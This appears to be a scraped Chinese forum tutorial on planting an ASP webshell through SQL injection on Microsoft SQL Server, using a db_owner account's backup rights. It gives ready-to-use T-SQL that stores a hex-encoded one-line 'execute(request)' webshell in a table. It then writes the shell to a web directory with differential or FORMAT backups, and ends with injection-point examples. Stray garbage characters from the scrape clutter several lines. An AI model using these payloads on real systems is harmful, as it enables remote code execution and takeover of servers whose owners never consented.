DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

# G( Y  E5 S# C/ V一利用差异备份
加一个参数WITH DIFFERENTIAL
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1 V  p/ v0 L) ]2 f( ]declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
2 X7 a9 x- z( K( fcreate table [dbo].[xiaolu] ([cmd] [image]);
. D; @5 x  ~5 I' D$ w! z, e2 rinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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& R( p$ \' L) M% k# ?$ v二利用完全FORMAT
0 `/ ^3 |; e, V" W0 Z加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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" e5 e2 x7 i# Q1 j, sdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ {4 V- U: P1 P& ucreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values (”)
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3 N' ]* I8 b/ O1 J' hid=1;backup database model to disk=’你的路径‘ with differential,format;–
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